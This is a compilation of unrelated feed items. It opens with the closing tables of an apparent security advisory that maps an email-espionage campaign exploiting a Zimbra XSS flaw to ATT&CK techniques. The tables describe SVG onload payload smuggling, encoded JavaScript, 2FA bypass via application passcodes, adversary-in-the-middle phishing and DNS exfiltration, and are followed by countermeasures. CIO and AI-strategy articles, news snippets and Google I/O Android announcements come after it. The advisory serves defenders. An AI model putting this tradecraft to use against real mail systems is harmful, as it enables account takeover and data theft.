Develop Capabilities: Exploits	T1587.004	Development of a novel, at the time, cross-site-scripting (XSS) exploit that enables execution of arbitrary JavaScript.
Obtain Capabilities: Tool	T1588.002	Open source tools, such as Evilginx2, have also been used by the group.
Obtain Capabilities: Artificial Intelligence	T1588.007	The group appears to have leveraged AI to support development efforts.
Stage Capabilities	T1608	Flowerbed is deployed to a procured server in the cloud.

**Table 11: Initial Access**
Technique Title	ID	Use
Valid Accounts	T1078	This actor has used commercial datasets to acquire account credentials and gain unauthorized access to accounts. Additionally, this actor is believed to use previously compromised accounts to conduct spear phishing.
Trusted Relationship	T1199	The group sends malicious payloads to targeted individuals using previously compromised accounts that might have an established relationship with the target.
Phishing	T1566	The actors used spear phishing to lure users into opening malicious email.

**Table 12: Execution**
Technique Title	ID	Use
Exploitation for Client Execution	T1203	An XSS vulnerability was leveraged to execute the JavaScript payload.

**Table 13: Persistence**
Technique Title	ID	Use
Account Manipulation	T1098	Enabling IMAP and Application Passcodes provides persistent access to the compromised account.
Modify Authentication Process: Multi-Factor Authentication	T1556.006	Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token.

**Table 14: Privilege Escalation**
Technique Title	ID	Use
Valid Accounts	T1078	This actor has used commercial datasets to acquire account credentials and gain unauthorized privileged access to accounts.

**Table 15: Stealth**
Technique Title	ID	Use
Obfuscated Files or Information: Command Obfuscation	T1027.010	Obfuscated JavaScript payload sent to targets to exploit the XSS vulnerability.
Obfuscated Files or Information: Encrypted/Encoded File	T1027.013	The JavaScript payload included both a Base64-encoded and XOR-encrypted inner payload.
Obfuscated Files or Information: SVG Smuggling	T1027.017	The payload was contained in an “onload” attribute within an SVG image included in the malicious email.
Use Alternate Authentication Material: Web Session Cookie	T1550.004	Previous campaigns using AiTM leveraged stealing and use of a victim’s session cookies to authenticate.

**Table 16: Credential Access**
Technique Title	ID	Use
Modify Authentication Process: Multi-Factor Authentication	T1556.006	Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token.
Adversary-in-the-Middle	T1557	Previous campaigns used Evilginx2 as an AiTM toolkit to intercept credentials and session cookies.

**Table 17: Collection**
Technique Title	ID	Use
Data Staged: Remote Data Staging	T1074.002	Exfiltrated data was sent to an actor-controlled VPS prior to assumed long-term storage solutions.
Email Collection	T1114	This group has emphasized collection of emails.
Email Collection: Remote Email Collection	T1114.002	Emails are collected via API calls to the ZCS mail server and are not collected from emails stored directly on the victim’s device.
Automated Collection	T1119	Upon execution, the JavaScript payload automatically collects all relevant information in stages.
Browser Session Hijacking	T1185	The JavaScript payload leverages the user’s authenticated browser session to make API requests as the user.
Archive Collected Data	T1560	Emails are exfiltrated with GZIP compression.

**Table 18: Discovery**
Technique Title	ID	Use
Account Discovery	T1087	Stolen Global Access Lists provide the group with new users to target.

**Table 19: Exfiltration**
Technique Title	ID	Use
Exfiltration Over Alternative Protocol	T1048	Victim information was exfiltrated over both HTTPS and DNS.
Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	T1048.002	Some payloads, especially ones with large amounts of data, were exfiltrated over HTTPS.
Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol	T1048.003	Some smaller bandwidth payloads were exfiltrated over DNS using Base32 encoding.

Appendix B: MITRE D3FEND countermeasures

See Table 20 for a mapping of several of the cybersecurity countermeasures mentioned in this advisory.

**Table 20: MITRE D3FEND Countermeasures**
Countermeasure Title	ID	Description
Application Hardening	D3-AH	Organizations should immediately prioritize patching CVE-2025-66376. Organizations should promptly apply software updates to all email systems.
Isolate	d3f:Isolate	Organizations that cannot feasibly patch should use alternative mail clients.
Credential Hardening	D3-CH	Organizations should consider using a third-party authentication service that supports passkeys to mediate access to ZCS and other services that do not natively support passkeys.
Network Traffic Analysis	D3-NTA	Organizations should monitor for significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization.
DNS Traffic Analysis	D3-DNSTA	Organizations should monitor for frequent DNS queries to a suspicious domain for seemingly random subdomains.
Network Traffic Community Deviation	D3-NTCD	Organizations should monitor for a sudden spike of connections to a server associated with a recently established domain. Organizations should monitor for connections to internal services, such as webmail, from VPN providers.
Identifier Activity Analysis	D3-IAA	Organizations should search for the listed known IOCs.
Process Analysis	D3-PA	Organizations should search ZCS log files for specific commands used by the malicious script. Organizations should search the localStorage property in web browsers for the ZCS webmail client for “ZimbraWeb” Application Passcodes.
Message Analysis	D3-MA	Organizations that suspect they have victims of this campaign should search for emails with a malicious payload to identify other victims.

AI success requires a full-stack CIO

Sat, 25 Jul 2026 18:57:42 +0200

Every CIO I speak with today is wrestling with some version of the same question: How do we move faster with AI and deliver on our commitments?

It’s an understandable concern. Boards and CEOs are asking about AI. Business leaders are experimenting with use cases. Employees are discovering tools daily, while technology vendors promise unprecedented gains in productivity, innovation, and competitive advantage.

After hundreds of conversations with technology executives over the past year, I’ve become convinced that speed isn’t the real issue. The organizations pulling away from the pack aren’t necessarily adopting AI faster than everyone else. They’re executing more effectively — a subtle distinction that represents one of the defining leadership challenges of the AI era.

Technology has never been the hardest part of transformation. People, priorities, culture, and operating models are the biggest challenges. The ability to translate bold boardroom aspirations into thousands of thoughtful decisions made every day by architects, engineers, product managers, analysts, and business leaders is where competitive advantage is created. AI may be accelerating the pace of change, but it hasn’t changed that fundamental truth.

I’ve met plenty of executives who are exceptional in the boardroom. They know how to frame a vision, influence a board, and build confidence among investors and business leaders. I’ve also met remarkable technologists who instinctively understand the architectural decisions, engineering tradeoffs, and implementation details that determine how great ideas become reality. Modern CIOs, however, must move comfortably between both worlds. Afshean Talasaz is one who stands out among this rare breed.

Long before becoming CIO of Colonial Pipeline, Talasaz built his career from the ground up as a business professional, data scientist, and technologist. He has designed enterprise platforms, built AI capabilities, led technology organizations, and partnered closely with executive leadership teams on business transformation. Today, as an executive in residence with our Practitioners for Practitioners (P4P) community, he helps CIOs and business leaders navigate one of the most significant technology shifts of our generation.

While Talasaz brings deep knowledge of data and AI to the table, his greatest strength is his ability to create strategy and connect it with execution. He can spend the morning discussing enterprise reinvention with the board and the afternoon debating architectural principles with the teams responsible for bringing that vision to life.

That versatility gives Talasaz a unique lens on how CIOs can deliver value with AI.

Software companies have a term for engineers who understand every layer of the technology stack: full-stack developers. Listen to Talasaz and it becomes evident that the AI era requires something similar from technology leaders: a full-stack CIO.

The full-stack CIO: Leading with clarity

A full-stack CIO understands how every layer of the enterprise influences the next. They recognize that every strategic priority becomes a portfolio investment, every investment shapes an operating model, every operating model influences architecture, every architecture choice informs product decisions, every product decision shapes engineering priorities.

The best CIOs understand both ends of that journey. The extraordinary ones understand everything in between.

And those who execute best lead with clarity, Talasaz says.

“Everyone, from executives to middle managers to the people writing code, should be able to explain what we’re trying to achieve,” he emphasizes. “Clarity isn’t that we’ve handed out the PowerPoint. It’s that people genuinely understand where we’re going and can articulate it in their own language.”

One of the unintended consequences of the AI boom is that organizations are beginning to confuse activity with alignment. They have AI councils, AI governance committees, AI innovation labs, AI centers of excellence, AI pilots, and AI roadmaps. Yet if you stop ten people in the hallway and ask a deceptively simple question, What business problem are we actually trying to solve? you’ll often hear ten different answers.

As a result, architects optimize for one objective while product teams optimize for another. Business units pursue opportunities that seem perfectly reasonable from their perspective. Engineers make thoughtful technical decisions based on the information available to them. Individually, none of those decisions are necessarily wrong. Collectively, however, they create organizational drift. AI doesn’t create that problem. It simply accelerates the consequences.

And while AI can be a force multiplier for the positive when every decision is guided by a shared understanding of where the organization is headed, it can also be a force multiplier for the negative, resulting in an organization simply moving faster in different directions.

“When we have the fundamentals right, the tech infrastructure, the operating models, the nuances of how our business actually runs, we get the impacts of AI in a positive way,” Talasaz says. “When we don’t have those in place, AI can amplify the gaps or mute the benefits.”

At a time when so much of the conversation surrounding AI is focused on algorithms, agents, and automation, it’s an important reminder that organizations don’t execute strategy; people do.

Reducing organizational friction

Most executives are familiar with the concept of VUCA that characterizes today’s business environment. But Talasaz stresses the importance of turning this concern inward: “If the world outside our organizations is becoming more volatile, uncertain, complex, and ambiguous, what are we, as leaders, doing to the inside of our organizations?”

Leaders spend enormous amounts of time helping their organizations respond to external disruption but comparatively little time asking whether they are inadvertently re-creating those same conditions internally in response to those external needs. Are we reducing uncertainty or introducing more of it? Are we simplifying work or adding unnecessary complexity? Are we helping people focus on what matters most, or asking them to navigate competing priorities and shifting expectations?

Talasaz refers to this phenomenon as double VUCA — something I’ve witnessed repeatedly while working with CIOs over the past decade. Organizations often assume they’re struggling because of technology limitations when the real constraint is organizational friction. Teams wait for decisions. Priorities shift faster than roadmaps. Governance grows heavier. New committees are formed to solve problems created by existing committees. Everyone is working harder, yet the organization somehow feels slower.

AI amplifies both outcomes. Organizations with clarity become dramatically more effective because AI accelerates good decisions. Organizations without clarity simply accelerate confusion.

Operating model as strategy enabler

AI governance is one way to achieve greater clarity, but as Talasaz says, governance shouldn’t primarily exist inside policy manuals that few people read.

Instead, AI governance should be embedded in the daily rhythms of the organization, shaping how teams collaborate, how decisions are made, how products move from ideas into production, and how innovation happens safely without requiring constant escalation. In other words, it’s all about your operating model.

“If you had to pick one thing that isn’t technology, your operating model is the most important element for executing data and AI at scale,” he says.

The best operating models create enough clarity that capable people can make thousands of decisions independently and confidently, without having to wait for permission. By embedding good governance into the way it works, the organization becomes faster.

This advice echoes something I’ve heard repeatedly from some of the world’s most respected CIOs: High-performing organizations aren’t built on tighter control; they’re built on greater trust, supported by clear principles, shared expectations, and operating models that enable responsible decision-making at every level of the enterprise.

Talasaz points out that technology leaders tend to speak in terms of transformation. He suggests CIOs consider a different word: reinvention.

As he explains, transformation implies replacing what exists today with something new. Reinvention starts with a more clear-eyed and practical premise: Some things absolutely must change; others represent years, sometimes decades, of accumulated expertise, customer trust, operational discipline, and competitive advantage.

Reinvention is about building on those strengths while also creating new ways to deliver value. The leaders making the greatest progress in their AI journeys seem to recognize that it’s less about abandoning the past than thoughtfully preparing the organization for the future.

Closing the gap between strategy and execution

Full-stack CIOs must be able to map out the various layers of execution and planning that need to be done at every level of the organization to be successful. To help with this, Talasaz has developed a data and AI framework that draws on his own experiences “from the keyboard to the boardroom.”

As Talasaz sees it, too many organizations have been doing good work in isolation. “They’re doing a lot of the right things,” he says. “They’re just not connected.”

Boards may be discussing growth while business leaders redesign customer experiences. Product teams may be prioritizing new capabilities while architects modernize platforms. Data teams may be improving quality while engineers focus on delivery. Every group makes meaningful progress within its own domain, yet somewhere between strategy and execution, the connective tissue begins to disappear. Talasaz’s framework brings those connecting points to the forefront.

Crucially, the framework doesn’t begin with technology or AI or even with data. It begins with the experiences the organization hopes to create for its customers, employees, or partners. Many AI initiatives start with the question, “What can this technology do?” And indeed, we need to be inspired by the possibilities and challenged to think differently by what the technology can do. But, Talasaz emphasizes, we also need to ask what experiences we need to deliver for our business and how the technology can make that a reality.

The framework challenges CIOs to answer that question first. Only after the experiences are clearly defined does the conversation move to the capabilities required to deliver it, the business activities that support those capabilities, the AI and data products that enable them, and finally the data foundation that makes everything possible.

This shift in perspective ensures that, rather than allowing technology investments to search for business value, the business experience defines the technology required to deliver it. For CIOs, that’s more than a planning exercise. It’s a fundamentally different way of leading.

Over the coming months, the P4P community will be convening a series of small CxO roundtables to explore these issues and work more deeply with Afshean Talasaz’s 6×6 Data and AI Framework. CIOs and other enterprise leaders interested in participating are welcome to reach out to me directly.

Sovereign AI has become the public-sector CIO’s control problem

Sat, 25 Jul 2026 18:57:42 +0200

In public-sector and regulated-cloud work, I learned that sovereignty rarely starts as a national strategy. It starts as an auditor’s question: Who can prove where the data went, which system made the decision and what changes when the vendor or infrastructure does? That question is now moving into AI, and most sovereign-AI debates answer the wrong version of it.

They ask whether a country can build its own model on domestic data and hardware. For the United States and China, which together hold more than 90% of global AI data-center capacity, per a January 2026 Tony Blair Institute analysis, that question is worth asking. However, for almost every other government, it is the wrong place to start. The operative question is narrower: Once AI is embedded in public services, who controls the stack?

The 5 layers of public-sector control

For a CIO, sovereign AI means enforceable control across the AI lifecycle; model ownership is a separate question. Control has five layers:

Data control: Where sensitive public data sits, and whether it can train a vendor’s model.
Model control: Which models clear which workloads, and under what validation.
Infrastructure control: Whether critical workloads run in approved environments.
Operational control: Whether AI-assisted actions are logged, monitored and reversible.
Vendor control: Whether the agency keeps portability, audit rights and a real exit.

Those five layers are the control plane for public-service AI. Floyd Dcosta recently made the enterprise case in “AI without sovereignty is just outsourced intelligence”: capability is what a tool can do; authority over how and when it does it is something a buyer can quietly lose. For public services, losing that authority plays out in the public eye.

Public-sector AI risk differs from enterprise risk. A retailer’s bad recommendation costs a sale; a government’s AI touches benefits, tax enforcement, policing and emergency response, raising the bar to due process, records retention and continuity of operations. A government that cannot reconstruct an AI-assisted decision lacks operational sovereignty, even in a domestic data center.

Evaluating risk: Concentration, jurisdiction and shadow AI

Foreign dependency is a real risk, but the exposure that matters is a sudden cutoff: A model you cannot audit, switch or exit, shut off by someone else’s order. A vendor’s nationality is a poor guide to that risk; control is. Two markers matter. The first is concentration. In July 2024, a single faulty CrowdStrike update crashed about 8.5 million Windows machines, disrupting airlines, hospitals, banks and governments worldwide. No attacker was involved; one homogeneous dependency failed everywhere at once. The lesson points away from vendor nationality and toward uniformity as the fault line, making portability and provider diversity resilience controls.

The second is jurisdiction. In June 2025, Microsoft’s legal director for France told a Senate inquiry, under oath, that it could not guarantee that French public-sector data, even in French data centers, would be protected against US demands under the 2018 CLOUD Act. No such request had been made, and EU data has stayed in the EU since January 2025; senators called the assurance purely declarative. For the most sensitive data, residency does not equal control; the parent’s jurisdiction can matter as much as the server’s. Three US hyperscalers hold about 70% of the European cloud market, while European providers’ share fell from 29% in 2017 to roughly 15%. Concentration plus jurisdiction is the exposure a CIO must price. I have watched teams treat vendor selection as the moment risk was solved; it rarely was.

The wrong response is self-isolation. Most countries will never build frontier models, advanced chips, hyperscale clouds and talent pipelines at once; the Tony Blair Institute calls full self-sufficiency “too expensive, too slow and, for most countries, simply impossible.” The better test is workload sensitivity. Low-risk uses, such as drafting, translation and summarization, can run on commercial platforms with controls; high-risk uses, such as benefits eligibility, fraud investigation and healthcare triage, demand stricter control over data, model behavior and auditability.

Mandating domestic-only provision before a competitive option exists inverts sovereignty. Europe 2031, a five-year scenario from June 2026 by European technologists and policy researchers, illustrates the failure mode: A 2027 “buy European” mandate lands as offensive cyber capability spreads, and agencies that switched to weaker providers are locked out and paying ransoms. The scenario is fiction; the mechanism is not. Leverage comes from being indispensable, not half-hearted self-sufficiency. The closer-to-home effect is shadow AI: Mandate an inferior sanctioned tool and staff bypass it, the way shadow IT grows up around tools people find too slow. A rule that pushes sensitive work into ungoverned shadow AI reduces control instead of adding it.

Regulation and data-residency rules belong in any serious strategy, but carry failure modes. Blanket localization raises hosting costs and slows adoption without guaranteeing control, and a “sovereign cloud” on a foreign parent’s stack can amount to sovereignty theater. The more useful pattern tiers requirements by sensitivity. India’s BHASHINI shows the application layer done well: A public platform serving 100 million-plus inferences a month across 22-plus languages on a vendor- and cloud-agnostic design that keeps data and switching rights public. Sovereignty resides in the portability, not in a national model.

Building an operational sovereignty strategy

Public trust is the constraint sovereignty rhetoric tends to skip. The OECD’s 2025 review of government AI warns that opaque systems make AI-assisted decisions hard to explain and can give public servants false confidence in tools that fail quietly. State-controlled AI is the same problem from the other side: A government that deploys models against its own citizens without audit or record has gained control and lost accountability. An agency that can log, explain and reverse an AI-assisted action can defend it to citizens, courts, auditors and elected officials. If it cannot, it has bought access and called it sovereignty.

None of this is new. AI sovereignty repeats earlier fights over cloud, telecom, semiconductors and cybersecurity. Europe’s flagship cloud project, GAIA-X, became a cautionary tale; the Dutch technologist Bert Hubert called it an “expensive distraction” that produced no European cloud, the familiar result of ambition without absorptive capacity. Cloud taught governments that outsourcing infrastructure does not outsource accountability; telecom, that vendor dependency becomes strategic exposure; chips, that supply chains matter before a crisis; cybersecurity, that trust must be verified continuously. AI inherits all four at once.

Over the next five to ten years, some countries will build national platforms, more will build trusted cloud and trusted model regimes, and most will run hybrids that pair domestic data control with global model access. Trade policy will harden those choices: Export controls on compute and data-localization rules will pull the vendor market into blocs that track alliances more than open markets. For a CIO, that turns a vendor and hosting decision into a five-year bet on whose rules and supply chains will still hold. The ones that succeed will treat sovereignty as an operating requirement, backed by leverage, not a slogan. Start with the control plane before the model: Most agencies will never own the model, and the controls are what decide whether the AI they do run stays accountable. Even when procurement policy is dictated from above, these questions remain within the CIO’s authority:

Can we classify AI workloads by public-service risk?
Can we prove where sensitive data goes across training, retrieval, inference, logging and retention?
Can we restrict which models are approved for which data classes and functions?
Can we reconstruct an AI-assisted action in enough detail to explain it?
Can we change providers without losing continuity or institutional knowledge?
Can we explain the system to citizens, regulators, auditors and elected officials?

A “no” to any of these does not mean the agency lacks AI. It means the agency has access it does not yet control. Public institutions can use global innovation without surrendering public authority, but only once they know what to hold, what to rent and where dependency turns into risk.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

Stop asking AI nicely: Here’s how to get work-ready results every time

Sat, 25 Jul 2026 18:55:51 +0200

Over the past few years, I have learned that basic prompts produce inconsistent, hallucination-prone results that no executive would trust in production. What turned the tide was my move to advanced prompting techniques. These weren’t theoretical experiments; they became a practical foundation for reliable, measurable outcomes. I want to share the techniques that consistently delivered the biggest gains in my projects, complete with real before-and-after examples, copy-paste templates, lessons from failures and guidance on when to evolve beyond prompting to agentic systems.

Why advanced prompting still matters in enterprise settings

Sophisticated prompting remains essential for control, reliability and compliance. If you “ask nicely” and hope for the best, you need deterministic behavior, auditable reasoning and minimal risk of hallucination. Here’s what worked for me.

1. Chain-of-Thought (CoT) and its variants: Unlocking step-by-step reasoning

The problem: Models would jump to conclusions on complex analysis tasks, especially involving data interpretation or multi-step logic.

What I did: I started explicitly instructing the model to “think step by step” and show its reasoning.

Before (basic prompt): “Analyze last quarter’s sales data and recommend three actions.”

After (CoT prompt):

“You’re a senior business analyst. Analyze the following sales data step by step: [data]. First, identify the key trends. Second, calculate the rates and anomalies. Third, link findings to business context. Finally, recommend the three prioritized actions with expected impact. Explain your reasoning at each step.”

Results: Accuracy and depth improved dramatically.

Variants that worked well: Self-consistency. I ran the same CoT prompt multiple times and took the majority consensus. This reduced variability significantly.

Template you can use:

You are [expert role]. Solve this problem by thinking step by step.

[Task or question]

For each step:

1. State your observation or calculation.

2. Explain the implication.

3. Proceed only when confident.

Final answer in this format: [structured output]

2. Tree-of-Thoughts (ToT): Exploring multiple reasoning paths

For truly complex decisions such as resource allocation or risk assessment, linear CoT isn’t enough. Tree-of-Thoughts lets the model generate and evaluate multiple branches.

Example: I was helping a client evaluate three potential vendor platforms for an AI deployment. A standard prompt gave a superficial comparison. With ToT

Prompt Snippet:

Explore three different reasoning paths for selecting the best vendor platform:

Path 1: Focus on cost and scalability.

Path 2: Focus on security, compliance and integration.

Path 3: Focus on innovation and long-term roadmap.

For each path, evaluate pros/cons against our requirements [list].

Then, compare the paths and recommend the strongest overall option with justification.

Outcome: The model surfaced nuanced trade-offs (e.g., one vendor had superior security, but higher integration cost).

When to use: Strategic planning, troubleshooting or scenarios with high uncertainty and multiple viable approaches.

3. ReAct (Reason+ Act) and prompt chaining: Moving toward agentic behavior

One of the biggest leaps I have noticed comes from combining reasoning with tool use and chaining prompts.

ReAct example: (used in data analytics workflow)

You are an AI analyst with access to tools. For the query below:

1. Reason about what information you need.

2. Choose the appropriate tool or action.

3. Observe the result.

4. Repeat until you can answer confidently.

Query: [user request]

In practice, I chained this with retrieval tools. One automated quarterly compliance reporting; the system reasoned about required data, pulled relevant records, validated them, and generated the reports.

4. Meta-prompting and self-reflection: Letting the model improve itself

Use the model to refine its own prompt. This is a huge time-saver.

You are an expert prompt engineer. Improve the following prompt for clarity, structure and effectiveness with [target model]. Make it more precise while preserving intent.

Original prompt: [paste]

Provide the improved version and explain your changes.

Self-reflection loops (asking the model to critique its own output and revise) are a game-changer for content generation and code-review tasks.

5. Multimodal and structured output techniques

With vision-enabled models, I started combining text with images (e.g., uploading architecture diagrams or dashboards).

Tip from experience: Be extremely specific in describing what the models should focus on.

Best practices I learned the hard way

Start simple, then layer complexity: Over-engineered prompts from Day One usually backfire.
Model specific tuning: Some models respond better to XML delimiters; others to explicit reasoning.
Evaluation and versioning: Treat prompts like code if you track versions and run automated evals.
Security guardrails: Always include instructions against prompt injections and respect data boundaries.
When to stop prompting: For repetitive, high-stakes workflows, move to full agents or an orchestration framework.

Final takeaways for technical leaders

Advanced prompt engineering has now become a core competency for anyone responsible for enterprise AI outcomes. Start by picking one technique and apply it rigorously to a real business problem. Document before/ after and you will notice why it’s worth mastering.

The field continues evolving towards more automated and agentic systems, but the ability to precisely direct AI reasoning remains foundational.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

How AI drove Shopify back to clean code

Sat, 25 Jul 2026 15:12:13 +0200

Turns out, agents just want the same things as humans: easily-readable code, explicit contracts, and helpful feedback

Assetto Corsa EVO: Update 0.8.1 mit verschiedenen Fehlerkorrekturen - News - speedmaniacs.com

Sat, 25 Jul 2026 14:37:39 +0200

-server: added document folder to windows server, revamped server-backend-client data exchange for sha with more UI info on missing cars, fixed ...

Große Neuerungen bei MediaMarkt: Kunden müssen sich auf einiges einstellen

Sat, 25 Jul 2026 13:04:24 +0200

MediaMarkt krempelt den Einkauf um: Statt an der klassischen Kasse sollen Kunden künftig direkt auf der Verkaufsfläche bezahlen können. Doch dabei bleibt es nicht – der Elektronikhändler hat noch weitere Änderungen in der Pipeline.

17 Things to know for Android developers at Google I/O

Sat, 25 Jul 2026 10:15:45 +0200

Posted by Matthew McCullough, VP, Product Management, Android Developer

Today at Google I/O, we announced the many ways we’re powering agentic workflows to increase your productivity and ensure your apps shine across the expanding Android ecosystem. Here’s a recap of 17 of our favorite announcements for Android developers; you can also see what was announced last week in The Android Show: I/O Edition. Stay tuned over the next two days as we dive into all of the topics in more detail!

Build High Quality Android Apps Using Agents

1: Android CLI: helping you build with any agent, LLM, and tool

Android CLI is now stable. It offers programmatic tools that allow any AI agent, including Claude Code, Codex, or Antigravity, to perform core Android tasks much more easily and efficiently. With today’s release, it also provides a bridge to tap directly into the "heavy-lifting" power of Android Studio to give you the production-ready polish needed for professional Android development. By leveraging the new android studio commands, developers can now grant their preferred agents the ability to perform semantic symbol resolution, analyze files for warnings, and even render Jetpack Compose previews. This release also enables official support for "Journeys" through new Android skills, which enables agents to execute end-to-end UI tests under your direction. Watch the developer keynote, and tune into the What’s New in Android tools talk for more information.

You can now easily install Android CLI for use with Google Antigravity 2.0.

2: Build production-ready apps with ease in Google AI Studio

Developers and creators can now build native Android apps, simply with a prompt in Google AI Studio. The apps are built with development best practices like Jetpack Compose, Kotlin, and APIs that leverage our recommended developer patterns. Google AI Studio enables developers to prototype, iterate via an embedded emulator, and deploy to physical devices without heavy local installations. Developers are then able to take those apps and share them to Android devices, as well as share them with others for testing through Google Play Console’s internal testing track. If a developer wants to prepare their app for a wider release, they’re able to take it to Android Studio for advanced debugging, testing, and UI polish. Watch the developer keynote, and tune into the What’s New in Android tools talk for more information.

Use the embedded Android Emulator to create Android apps in Google AI Studio

3: Accelerating AI coding assistance with Android Bench

Android Bench is our LLM leaderboard for Android development challenges. The goal is to accelerate model improvements, so you have more useful options for AI assistance. Many of you have been using open-weight models for AI assistance, so we’re now adding commonly used ones, such as Gemma 4, to the leaderboard, so you can see how LLMs that offer offline access and additional flexibility for power-users measure up. We're continuously working on increasing the difficulty of challenges we’re giving LLMs, to continue encouraging more useful improvements.

4: Convert iOS apps to Android with the Migration Assistant in Android Studio

The Migration Assistant in Android Studio is designed to port apps from platforms like iOS, React Native, or web frameworks to native Android. By simply selecting an existing project, developers can have the agent intelligently map features, convert assets like storyboards and SVGs, and implement Android best practices using Jetpack Compose and our recommended Jetpack libraries. This effectively transforms what used to be weeks of manual porting into a streamlined agentic workflow that only takes hours. We shared a preview of the incoming feature in the developer keynote.

A sneak peek of the Migration Assistant converting an iOS app into a native Android app

Building AI Into Your Apps

5: Building Intelligent Apps with generative AI

Generative AI enables you to create apps that are more intelligent, personalized, and agentic than ever before. This year, we introduced the latest advancements in on-device intelligence with a preview of Gemini Nano 4 for tasks like data extraction and summarization. We also expanded cloud capabilities via Firebase AI Logic, allowing developers to leverage Gemini models with robust grounding (including URL, Maps, and web search) to build smarter, more capable assistants. Furthermore, we unveiled our hybrid inference approach and the new Agent Development Kit (ADK) for Android, alongside communication protocols like AG-UI and A2UI that simplify the creation of autonomous, agentic experiences. To start integrating these powerful features, explore the developer documentation, and watch the technical deep dive session where we showcase all these technologies.

6: Experiment with AppFunctions today

AppFunctions is an Android platform API with an accompanying Jetpack library to simplify building Android MCP integrations. It empowers your apps to behave like on device MCP servers, contributing functions that act as tools for use by agents and assistants. AppFunctions integration with Gemini is currently in a private preview with trusted testers, and you can begin preparing your apps already. You can sign up for the Early Access Program and start experimenting using the API guidance, sample, and skill today.

The Future is Adaptive

7: Android is now Compose First; Views are now in maintenance mode.

Compose is our standard for UI development, and we are moving to a Compose-first approach for all future guidance and libraries. Building on five years of evolution, the latest releases deliver a more mature toolkit, from the highly customizable Styles API to refined shared element transitions and enhanced input support. These updates allow you to build beautiful, adaptive apps with less code and better performance. Learn more about what Compose-first means for Android Development in our blog post.

Build Android UI with Compose

8: Building seamless Android experiences across devices with Jetpack Compose

The Android ecosystem is now Adaptive by Default, moving fluidly across phones, foldables, tablets, cars, XR, and expanding usages with Googlebook and connected displays. With over 580 million large-screen devices, and users on multiple devices spending up to 14x more on apps, the investment in adaptive design presents a massive opportunity. Jetpack Compose is the definitive engine for this transition, offering core tools like our latest Jetpack Navigation 3 release, new experimental Grid and FlexBox layouts, enhanced non-touch input support, and CameraX for correct camera previews across any window size. Furthermore, new skills in Android Studio make updating your existing app to adopt these adaptive patterns easier than ever. Notability’s Android debut sets a new standard for premium productivity apps. Built with Jetpack Compose, Navigation 3, and Kotlin Multiplatform, it delivers an intuitive, adaptive experience across devices.

9: Create seamless experiences for Googlebook

Last week we announced Googlebook, a high-performance laptop that provides a large-screen canvas for your existing apps. Building with adaptive principles today helps ensure your app will work on Googlebook. Get started by reviewing relevant design guidance and developer guidelines for desktop experiences. Try out the new Desktop Emulator available in the Android Studio Canary to to test your apps for this form factor today.

New Desktop Android Emulator

10: Unified widget development experience with Jetpack Glance

Android 17 marks a shift toward a single, Compose-based development model for all widgets. By unifying the experience across mobile, Wear OS, and cars through Jetpack Glance, you can soon scale UI components across the ecosystem with a familiar workflow.

The breakthrough this year is the integration of RemoteCompose. On mobile and cars, it powers high-fidelity animations, while on Wear OS, it allows Wear Widgets (formerly Tiles) to render complex UI logic natively on remote surfaces. This ensures peak performance on low-power hardware while allowing a cohesive user journey—like checking a flight status on your car dashboard and seeing gate change updates on your wrist.

Four widgets are shown cycling through in the Android Auto interface. A clock, a contact card, Google Home favorites and a photo.

11: Expand your reach on the road with Android for Cars
To help you expand your reach when you build in-car experiences, we're making it easier to build once and deliver your apps to Android Auto and Android Automotive OS. With the latest releases of the Car App Library, you can build customized, distraction-optimized templated media apps for both platforms. We're introducing new components and template capabilities to give you increased flexibility and more options for laying out content. Parked experiences are expanding too, with immersive video playback coming to Android Auto for phones running Android 17. You can easily adapt your video apps for these parked experiences; apply now to the early access program to publish in these beta categories and learn more about the latest updates in our blog.

12: Accelerate your development with Android XR Developer Preview 4

Inspired by the innovative experiences you’ve built for the platform, we’re continuing to mature our tools with Developer Preview 4 of the Android XR SDK. A key milestone in this journey is the transition of our core libraries, XR Runtime, Jetpack SceneCore, and ARCore for Jetpack XR, moving to Beta soon to provide a more stable and performant foundation. We are also accelerating hardware access through the Android XR Developer Catalyst Program, where you can apply for XREAL’s Project Aura, audio glasses, or display glasses developer kits. Watch The latest in Android XR session or read our blog to see how these updates help you build experiences across the ecosystem.

Early preview of the Geospatial API in ARCore for Jetpack XR, enabling high-precision anchoring of digital content to real-world locations.

13: Android is your new home for professional-grade media experiences

Android 17 streamlines the entire media lifecycle with a production-ready toolkit. High-fidelity capture is now simplified with the CameraXViewfinder Composable, which handles complex scaling and responsiveness on foldables and tablets. For post-production, the new Media3 AI Effects library provides a single interface for premium features like Magic Eraser and Studio Sound, automatically optimizing for the device's hardware.

The pipeline is completed by CodecDB, offering chipset-specific encoding recommendations to eliminate export noise, and a new Scrubbing Mode in ExoPlayer for ultra-smooth seeking. Whether you’re compositing multi-asset edits with Media3 Transformer or using the streamlined CastPlayer API, these updates ensure a professional-grade experience with significantly less development overhead.

Low Light Boost and Magic Eraser in action

14: Increase app discovery and engagement on Google TV

Pointer remotes, which enable motion-controlled input, will be a future way for users to interact with Google TV as it unlocks faster user navigation. App developers can start declaring support for pointing input to ensure their apps are discoverable on future TVs with pointer remotes. Additionally, the Engage SDK, formerly known as the Video Discovery API, optimizes Resumption, Entitlements, and Recommendations across all Google TV form factors to boost app discovery and engagement. It’s a great time to start onboarding the Engage SDK now, since the legacy Watch Next API, which has been powering your continue watching 1.0 experience, will lose support in the 2nd half of 2027. Get all the details in our blog.

15: Performance: the foundation of a great app experience

To help developers navigate memory limits in Android 17, we've launched a suite of optimization tools. The R8 Configuration Analyzer identifies keep rules that are bloating your binary, while ProfilingManager and the integrated LeakCanary in Android Studio streamline memory leak detection. Furthermore, the new Android Performance Analyzer offers advanced AI integration for complex trace analysis and automated SQL query generation to pinpoint performance bottlenecks.

And The Latest on Driving Business Growth

16: What’s new in Google Play

